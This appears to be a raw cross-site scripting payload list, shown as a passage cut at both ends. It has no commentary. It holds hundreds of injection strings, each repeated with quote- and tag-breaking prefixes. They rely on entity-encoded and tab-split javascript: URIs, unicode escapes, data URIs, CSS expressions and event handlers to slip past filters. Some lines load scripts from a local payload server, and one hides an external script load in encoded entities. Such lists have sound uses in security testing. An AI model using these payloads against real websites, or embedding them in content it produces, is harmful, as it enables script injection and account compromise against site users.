src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>\r\n'><iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>\r\n<svg><script ?>alert(1)\r\n\"><svg><script ?>alert(1)\r\n'><svg><script ?>alert(1)\r\n<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>\r\n\"><iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>\r\n'><iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>\r\n<img src=`xx:xx`onerror=alert(1)>\r\n\"><img src=`xx:xx`onerror=alert(1)>\r\n'><img src=`xx:xx`onerror=alert(1)>\r\n<meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>\r\n\"><meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>\r\n'><meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>\r\n<math><a xlink:href=\"//127.0.0.1:3555/xss_serve_payloads/X.js\">X\r\n\"><math><a xlink:href=\"//127.0.0.1:3555/xss_serve_payloads/X.js\">X\r\n'><math><a xlink:href=\"//127.0.0.1:3555/xss_serve_payloads/X.js\">X\r\n<math><a xlink:href=\"//127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\">X\r\n\"><math><a xlink:href=\"//127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\">X\r\n'><math><a xlink:href=\"//127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\">X\r\n<embed code=\"http://127.0.0.1:3555/xss_serve_payloads/X.swf\" allowscriptaccess=always>\r\n\"><embed code=\"http://127.0.0.1:3555/xss_serve_payloads/X.swf\" allowscriptaccess=always>\r\n'><embed code=\"http://127.0.0.1:3555/xss_serve_payloads/X.swf\" allowscriptaccess=always>\r\n<svg contentScriptType=text/vbs><script>MsgBox+1\r\n\"><svg contentScriptType=text/vbs><script>MsgBox+1\r\n'><svg contentScriptType=text/vbs><script>MsgBox+1\r\n<a href=\"data:text/html;base64_,<svg/onload=\\u0061&#x6C;&#101%72t(1)>\">X</a\r\n\"><a href=\"data:text/html;base64_,<svg/onload=\\u0061&#x6C;&#101%72t(1)>\">X</a\r\n'><a href=\"data:text/html;base64_,<svg/onload=\\u0061&#x6C;&#101%72t(1)>\">X</a\r\n<iframe/onreadystatechange=\\u0061\\u006C\\u0065\\u0072\\u0074('\\u0061') worksinIE>\r\n\"><iframe/onreadystatechange=\\u0061\\u006C\\u0065\\u0072\\u0074('\\u0061') worksinIE>\r\n'><iframe/onreadystatechange=\\u0061\\u006C\\u0065\\u0072\\u0074('\\u0061') worksinIE>\r\n<script>~'\\u0061' ; \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073. \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n</ScrIpt><script>~'\\u0061' ; \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073. \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n\"><script>~'\\u0061' ; \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073. \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n</ScrIpt><script>~'\\u0061' ; \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073. \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n'><script>~'\\u0061' ; \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073. \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n</ScrIpt><script>~'\\u0061' ; \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073. \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n<script/src=\"data&colon;text%2Fj\\u0061v\\u0061script,\\u0061lert('\\u0061')\"></script a=\\u0061 & /=%2F\r\n\"><script/src=\"data&colon;text%2Fj\\u0061v\\u0061script,\\u0061lert('\\u0061')\"></script a=\\u0061 & /=%2F\r\n'><script/src=\"data&colon;text%2Fj\\u0061v\\u0061script,\\u0061lert('\\u0061')\"></script a=\\u0061 & /=%2F\r\n<script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script\r\n\"><script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script\r\n'><script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script\r\n<object data=javascript&colon;\\u0061&#x6C;&#101%72t(1)>\r\n\"><object data=javascript&colon;\\u0061&#x6C;&#101%72t(1)>\r\n'><object data=javascript&colon;\\u0061&#x6C;&#101%72t(1)>\r\n<script>+-+-1-+-+alert(1)</script>\r\n</ScrIpt><script>+-+-1-+-+alert(1)</script>\r\n\"><script>+-+-1-+-+alert(1)</script>\r\n</ScrIpt><script>+-+-1-+-+alert(1)</script>\r\n'><script>+-+-1-+-+alert(1)</script>\r\n</ScrIpt><script>+-+-1-+-+alert(1)</script>\r\n<body/onload=&lt;!--&gt;&#10alert(1)>\r\n\"><body/onload=&lt;!--&gt;&#10alert(1)>\r\n'><body/onload=&lt;!--&gt;&#10alert(1)>\r\n<script allbrowserX>/*<script* */alert(1)</script\r\n\"><script allbrowserX>/*<script* */alert(1)</script\r\n'><script allbrowserX>/*<script* */alert(1)</script\r\n<img src ?X?\\/onerror = alert(1)\r\n\"><img src ?X?\\/onerror = alert(1)\r\n'><img src ?X?\\/onerror = alert(1)\r\n<svg><script>//&NewLine;confirm(1);</script </svg>\r\n\"><svg><script>//&NewLine;confirm(1);</script </svg>\r\n'><svg><script>//&NewLine;confirm(1);</script </svg>\r\n<svg><script onlypossibleinopera:-)> alert(1)\r\n\"><svg><script onlypossibleinopera:-)> alert(1)\r\n'><svg><script onlypossibleinopera:-)> alert(1)\r\n<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>X\r\n\"><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>X\r\n'><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>X\r\n<script x> alert(1) </script 1=2\r\n\"><script x> alert(1) </script 1=2\r\n'><script x> alert(1) </script 1=2\r\n<div/onmouseover='alert(1)'> style=\"x:\">\r\n\"><div/onmouseover='alert(1)'> style=\"x:\">\r\n'><div/onmouseover='alert(1)'> style=\"x:\">\r\n<--`<img/src=` onerror=alert(1)> --!>\r\n\"><--`<img/src=` onerror=alert(1)> --!>\r\n'><--`<img/src=` onerror=alert(1)> --!>\r\n<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>\r\n\"><script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>\r\n'><script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>\r\n<div style=\"position:absolute;top:0;left:0;width:100%;height:100%\" onmouseover=\"prompt(1)\" onclick=\"alert(1)\">x</button>\r\n\"><div style=\"position:absolute;top:0;left:0;width:100%;height:100%\" onmouseover=\"prompt(1)\" onclick=\"alert(1)\">x</button>\r\n'><div style=\"position:absolute;top:0;left:0;width:100%;height:100%\" onmouseover=\"prompt(1)\" onclick=\"alert(1)\">x</button>\r\n<img src=x onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html');>\r\n\"><img src=x onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html');>\r\n'><img src=x onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html');>\r\n<form><button formaction=javascript&colon;alert(1)>X\r\n\"><form><button formaction=javascript&colon;alert(1)>X\r\n'><form><button formaction=javascript&colon;alert(1)>X\r\n<iframe src=\"data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\"></iframe>\r\n\"><iframe src=\"data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\"></iframe>\r\n'><iframe src=\"data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\"></iframe>\r\n<a href=\"data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203\">X</a>\r\n\"><a href=\"data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203\">X</a>\r\n'><a href=\"data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203\">X</a>\r\n<sVg><scRipt %00>prompt&lpar;/\r\n\"><sVg><scRipt %00>prompt&lpar;/\r\n'><sVg><scRipt %00>prompt&lpar;/\r\nw=window.open('invalidfileinvalidfileinvalidfile','target');setTimeout('alert(w.document.location);w.close();',1);\r\ntry%7Balert(1)%7Dcatch(e)%7Blocation.reload()%7D\r\n<div id=\"alert('/X/')\" style=\"x:expression(eval)(id)\">\r\n\"><div id=\"alert('/X/')\" style=\"x:expression(eval)(id)\">\r\n'><div id=\"alert('/X/')\" style=\"x:expression(eval)(id)\">\r\n0\\%22))}catch(e){alert(1)}//\r\n<img language=vbs src=<b onerror=alert#1/1#>\r\n\"><img language=vbs src=<b onerror=alert#1/1#>\r\n'><img language=vbs src=<b onerror=alert#1/1#>\r\n<script>alert(1)/X/'</script>\r\n</ScrIpt><script>alert(1)/X/'</script>\r\n\"><script>alert(1)/X/'</script>\r\n</ScrIpt><script>alert(1)/X/'</script>\r\n'><script>alert(1)/X/'</script>\r\n</ScrIpt><script>alert(1)/X/'</script>\r\n<script>alert(1)<!-- '</script>\r\n</ScrIpt><script>alert(1)<!-- '</script>\r\n\"><script>alert(1)<!-- '</script>\r\n</ScrIpt><script>alert(1)<!-- '</script>\r\n'><script>alert(1)<!-- '</script>\r\n</ScrIpt><script>alert(1)<!-- '</script>\r\n<script> var a = \"X\"; alert(1); </script>\r\n</ScrIpt><script> var a = \"X\"; alert(1); </script>\r\n\"><script> var a = \"X\"; alert(1); </script>\r\n</ScrIpt><script> var a = \"X\"; alert(1); </script>\r\n'><script> var a = \"X\"; alert(1); </script>\r\n</ScrIpt><script> var a = \"X\"; alert(1); </script>\r\n<script> var a=1'; alert(1); </script>\r\n</ScrIpt><script> var a=1'; alert(1); </script>\r\n\"><script> var a=1'; alert(1); </script>\r\n</ScrIpt><script> var a=1'; alert(1); </script>\r\n'><script> var a=1'; alert(1); </script>\r\n</ScrIpt><script> var a=1'; alert(1); </script>\r\n<script> var x = \"X\\\"; alert(1); </script>\r\n</ScrIpt><script> var x = \"X\\\"; alert(1); </script>\r\n\"><script> var x = \"X\\\"; alert(1); </script>\r\n</ScrIpt><script> var x = \"X\\\"; alert(1); </script>\r\n'><script> var x = \"X\\\"; alert(1); </script>\r\n</ScrIpt><script> var x = \"X\\\"; alert(1); </script>\r\n<img src=\"1\" onerror=\"alert(1)\">\r\n\"><img src=\"1\" onerror=\"alert(1)\">\r\n'><img src=\"1\" onerror=\"alert(1)\">\r\n<img src=\"\" onload=alert(1)>\r\n\"><img src=\"\" onload=alert(1)>\r\n'><img src=\"\" onload=alert(1)>\r\n<script> function a() {} </script> <img src=1 onerror=\"a();alert(1)\">\r\n</ScrIpt><script> function a() {} </script> <img src=1 onerror=\"a();alert(1)\">\r\n\"><script> function a() {} </script> <img src=1 onerror=\"a();alert(1)\">\r\n</ScrIpt><script> function a() {} </script> <img src=1 onerror=\"a();alert(1)\">\r\n'><script> function a() {} </script> <img src=1 onerror=\"a();alert(1)\">\r\n</ScrIpt><script> function a() {} </script> <img src=1 onerror=\"a();alert(1)\">\r\n<img src=1 onerror=\"alert(1)\">\r\n\"><img src=1 onerror=\"alert(1)\">\r\n'><img src=1 onerror=\"alert(1)\">\r\n<img src=1 onerror\"alert(1)\">\r\n\"><img src=1 onerror\"alert(1)\">\r\n'><img src=1 onerror\"alert(1)\">\r\n<svg><script>lo<sv>gChr(1)</script></svg>\r\n\"><svg><script>lo<sv>gChr(1)</script></svg>\r\n'><svg><script>lo<sv>gChr(1)</script></svg>\r\n<img src=# aaa;onerror=\"alert(1)\">\r\n\"><img src=# aaa;onerror=\"alert(1)\">\r\n'><img src=# aaa;onerror=\"alert(1)\">\r\n<a href=x onerror=alert(1)>\r\n\"><a href=x onerror=alert(1)>\r\n'><a href=x onerror=alert(1)>\r\n<script> var x = \"asdf\\1 asdf\"; alert(1); </script>\r\n</ScrIpt><script> var x = \"asdf\\1 asdf\"; alert(1); </script>\r\n\"><script> var x = \"asdf\\1 asdf\"; alert(1); </script>\r\n</ScrIpt><script> var x = \"asdf\\1 asdf\"; alert(1); </script>\r\n'><script> var x = \"asdf\\1 asdf\"; alert(1); </script>\r\n</ScrIpt><script> var x = \"asdf\\1 asdf\"; alert(1); </script>\r\n<img src=xx:xx;onerror=alert(1)>\r\n\"><img src=xx:xx;onerror=alert(1)>\r\n'><img src=xx:xx;onerror=alert(1)>\r\n<img src=x > onerror=\"console.alert(document.getElementsByTagName('html')[0].innerHTML)\">\r\n\"><img src=x > onerror=\"console.alert(document.getElementsByTagName('html')[0].innerHTML)\">\r\n'><img src=x > onerror=\"console.alert(document.getElementsByTagName('html')[0].innerHTML)\">\r\n<script> chr=String.fromCharCode(1); result=''; try{ result=encodeURIComponent(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n</ScrIpt><script> chr=String.fromCharCode(1); result=''; try{ result=encodeURIComponent(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n\"><script> chr=String.fromCharCode(1); result=''; try{ result=encodeURIComponent(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n</ScrIpt><script> chr=String.fromCharCode(1); result=''; try{ result=encodeURIComponent(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n'><script> chr=String.fromCharCode(1); result=''; try{ result=encodeURIComponent(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n</ScrIpt><script> chr=String.fromCharCode(1); result=''; try{ result=encodeURIComponent(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n<script> chr=String.fromCharCode(1); result=''; try{ result=encodeURI(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n</ScrIpt><script> chr=String.fromCharCode(1); result=''; try{ result=encodeURI(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n\"><script> chr=String.fromCharCode(1); result=''; try{ result=encodeURI(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n</ScrIpt><script> chr=String.fromCharCode(1); result=''; try{ result=encodeURI(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n'><script> chr=String.fromCharCode(1); result=''; try{ result=encodeURI(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n</ScrIpt><script> chr=String.fromCharCode(1); result=''; try{ result=encodeURI(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script>\r\n<img src=x > onerror=alert(1)>\r\n\"><img src=x > onerror=alert(1)>\r\n'><img src=x > onerror=alert(1)>\r\n<svg><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script></svg>\r\n<img src=xx:xx onerror=\"&#X61;lert(1);alert(1)\">\r\n\"><img src=xx:xx onerror=\"&#X61;lert(1);alert(1)\">\r\n'><img src=xx:xx onerror=\"&#X61;lert(1);alert(1)\">\r\n<img src=xx:xx onerror=window[['alert']](1)>\r\n\"><img src=xx:xx onerror=window[['alert']](1)>\r\n'><img src=xx:xx onerror=window[['alert']](1)>\r\n\"'><img src=\"xx:xx\" on error=\"alert(1);\">\r\n<img src=xx:xx onerror=alert(1)>\r\n\"><img src=xx:xx onerror=alert(1)>\r\n'><img src=xx:xx onerror=alert(1)>\r\n<img src=xx:xx onerror =alert(1);>\r\n\"><img src=xx:xx onerror =alert(1);>\r\n'><img src=xx:xx onerror =alert(1);>\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0.1; URL=javascript:void()//?;URL=javascript:alert(1)//\">\r\n\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0.1; URL=javascript:void()//?;URL=javascript:alert(1)//\">\r\n'><META HTTP-EQUIV=\"refresh\" CONTENT=\"0.1; URL=javascript:void()//?;URL=javascript:alert(1)//\">\r\n<meta http-equiv=refresh content=\"javascript:alert('1')\">\r\n\"><meta http-equiv=refresh content=\"javascript:alert('1')\">\r\n'><meta http-equiv=refresh content=\"javascript:alert('1')\">\r\n<a href=\"javascript:alert(1)\">X</a>\r\n\"><a href=\"javascript:alert(1)\">X</a>\r\n'><a href=\"javascript:alert(1)\">X</a>\r\n<script> document.cookie='X'; if(document.cookie !== 'X') { alert(1,document.cookie); } </script>\r\n</ScrIpt><script> document.cookie='X'; if(document.cookie !== 'X') { alert(1,document.cookie); } </script>\r\n\"><script> document.cookie='X'; if(document.cookie !== 'X') { alert(1,document.cookie); } </script>\r\n</ScrIpt><script> document.cookie='X'; if(document.cookie !== 'X') { alert(1,document.cookie); } </script>\r\n'><script> document.cookie='X'; if(document.cookie !== 'X') { alert(1,document.cookie); } </script>\r\n</ScrIpt><script> document.cookie='X'; if(document.cookie !== 'X') { alert(1,document.cookie); } </script>\r\nhtmlStr = '<a href=\"javascript:alert(1)\">X</a>\r\n\"><a href=\"javascript:alert(1)\">X</a>\r\n'><a href=\"javascript:alert(1)\">X</a>'; document.getElementById('body').innerHTML = htmlStr; try { alert(1);}catch(e){alert(1);};\r\nhtmlStr = '<a href=\"javascript:alert(1)\">X</a>\r\n\"><a href=\"javascript:alert(1)\">X</a>\r\n'><a href=\"javascript:alert(1)\">X</a>'; document.getElementById('body').innerHTML = htmlStr; try { if(document.getElementById('body').firstChild.protocol === 'javascript:') { alert(1); } }catch(e){alert(1);};\r\n<img src=x:xx onerror=\"try {execScript('a=1','vbs');alert(1);}catch(e){alert(1);}\">\r\n\"><img src=x:xx onerror=\"try {execScript('a=1','vbs');alert(1);}catch(e){alert(1);}\">\r\n'><img src=x:xx onerror=\"try {execScript('a=1','vbs');alert(1);}catch(e){alert(1);}\">\r\n<div style=\"color:red'{} x:expression(alert(1))\">.</div>\r\n\"><div style=\"color:red'{} x:expression(alert(1))\">.</div>\r\n'><div style=\"color:red'{} x:expression(alert(1))\">.</div>\r\n<img src='xx:x><img src=xx:x onerror=alert(1)>'>\r\n\"><img src='xx:x><img src=xx:x onerror=alert(1)>'>\r\n'><img src='xx:x><img src=xx:x onerror=alert(1)>'>\r\n<img src='xx:x\\ onerror=\"alert(1)\">'>\r\n\"><img src='xx:x\\ onerror=\"alert(1)\">'>\r\n'><img src='xx:x\\ onerror=\"alert(1)\">'>\r\n<img src='xx:x onerror=\"alert(1)\">'>\r\n\"><img src='xx:x onerror=\"alert(1)\">'>\r\n'><img src='xx:x onerror=\"alert(1)\">'>\r\n`\"'><img src=\"# onerror=alert(1)>\r\n<img src=xx:xx onerror=\"x='\\',alert(1)//'\">\r\n\"><img src=xx:xx onerror=\"x='\\',alert(1)//'\">\r\n'><img src=xx:xx onerror=\"x='\\',alert(1)//'\">\r\n<script>alert(alert(1))</script>\r\n</ScrIpt><script>alert(alert(1))</script>\r\n\"><script>alert(alert(1))</script>\r\n</ScrIpt><script>alert(alert(1))</script>\r\n'><script>alert(alert(1))</script>\r\n</ScrIpt><script>alert(alert(1))</script>\r\n<script>x='<script><img src=xx:xx onerror=alert(1)>\r\n\"><img src=xx:xx onerror=alert(1)>\r\n'><img src=xx:xx onerror=alert(1)>';</script>\r\n<script>alert(1)<script></script>\r\n</ScrIpt><script>alert(1)<script></script>\r\n\"><script>alert(1)<script></script>\r\n</ScrIpt><script>alert(1)<script></script>\r\n'><script>alert(1)<script></script>\r\n</ScrIpt><script>alert(1)<script></script>\r\n--><img src=xxx:x onerror=alert(1)> -->\r\n<img src=xx:xx# /onerror=alert(1)>\r\n\"><img src=xx:xx# /onerror=alert(1)>\r\n'><img src=xx:xx# /onerror=alert(1)>\r\n<img src=xx:xx alt=`/onerror=alert(1)//`>\r\n\"><img src=xx:xx alt=`/onerror=alert(1)//`>\r\n'><img src=xx:xx alt=`/onerror=alert(1)//`>\r\n<img src=xx:xx onerror=alert(1)>\r\n\"><img src=xx:xx onerror=alert(1)>\r\n'><img src=xx:xx onerror=alert(1)> <a href=javascript:alert(1)>1</a>\r\n\"><img src=xx:xx onerror=alert(1)> <a href=javascript:alert(1)>1</a>\r\n'><img src=xx:xx onerror=alert(1)> <a href=javascript:alert(1)>1</a>\r\n<script>alert(1,1</script//)</script>\r\n</ScrIpt><script>alert(1,1</script//)</script>\r\n\"><script>alert(1,1</script//)</script>\r\n</ScrIpt><script>alert(1,1</script//)</script>\r\n'><script>alert(1,1</script//)</script>\r\n</ScrIpt><script>alert(1,1</script//)</script>\r\n<script>alert(1,1</script/)</script>\r\n</ScrIpt><script>alert(1,1</script/)</script>\r\n\"><script>alert(1,1</script/)</script>\r\n</ScrIpt><script>alert(1,1</script/)</script>\r\n'><script>alert(1,1</script/)</script>\r\n</ScrIpt><script>alert(1,1</script/)</script>\r\n<body> ?iframe onload=confirm(/X/)&gt; <img src=x:x onerror=\"innerHTML=previousSibling.nodeValue.replace('?','<')\"> </body>\r\n\"><body> ?iframe onload=confirm(/X/)&gt; <img src=x:x onerror=\"innerHTML=previousSibling.nodeValue.replace('?','<')\"> </body>\r\n'><body> ?iframe onload=confirm(/X/)&gt; <img src=x:x onerror=\"innerHTML=previousSibling.nodeValue.replace('?','<')\"> </body>\r\n<b id=\"id1\" x=begin0x9fa0end >`'\"></b><script>if (!/begin.end/.test(document.getElementById('id1').getAttribute('x'))) { alert(1);}</script>\r\n\"><b id=\"id1\" x=begin0x9fa0end >`'\"></b><script>if (!/begin.end/.test(document.getElementById('id1').getAttribute('x'))) { alert(1);}</script>\r\n'><b id=\"id1\" x=begin0x9fa0end >`'\"></b><script>if (!/begin.end/.test(document.getElementById('id1').getAttribute('x'))) { alert(1);}</script>\r\n<b id=\"id1\" x=begin0x2924end >`'\"></b><script>if (!/begin.end/.test(document.getElementById('id1').getAttribute('x'))) { alert(1);}</script>\r\n\"><b id=\"id1\" x=begin0x2924end >`'\"></b><script>if (!/begin.end/.test(document.getElementById('id1').getAttribute('x'))) { alert(1);}</script>\r\n'><b id=\"id1\" x=begin0x2924end >`'\"></b><script>if (!/begin.end/.test(document.getElementById('id1').getAttribute('x'))) { alert(1);}</script>\r\n<img src=# onerror=\"alert(1)\" >\r\n\"><img src=# onerror=\"alert(1)\" >\r\n'><img src=# onerror=\"alert(1)\" >\r\n<title>X<script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script></title>\r\n<div style=\"X:expression(alert(1))\\\"></div>\r\n\"><div style=\"X:expression(alert(1))\\\"></div>\r\n'><div style=\"X:expression(alert(1))\\\"></div>\r\n<div style=\"X:expression(alert(1))'\"></div>\r\n\"><div style=\"X:expression(alert(1))'\"></div>\r\n'><div style=\"X:expression(alert(1))'\"></div>\r\n<div style=\"X:expression(alert(1))\"></div>\r\n\"><div style=\"X:expression(alert(1))\"></div>\r\n'><div style=\"X:expression(alert(1))\"></div>\r\n<div style=\"X:expression(alert(1))\">X/div>\r\n\"><div style=\"X:expression(alert(1))\">X/div>\r\n'><div style=\"X:expression(alert(1))\">X/div>\r\n<img src=1 title= x:xx/onerror=alert(1)>\r\n\"><img src=1 title= x:xx/onerror=alert(1)>\r\n'><img src=1 title= x:xx/onerror=alert(1)>\r\n<script>if(\"x\\\".length==2) { alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\".length==2) { alert(1);}</script>\r\n\"><script>if(\"x\\\".length==2) { alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\".length==2) { 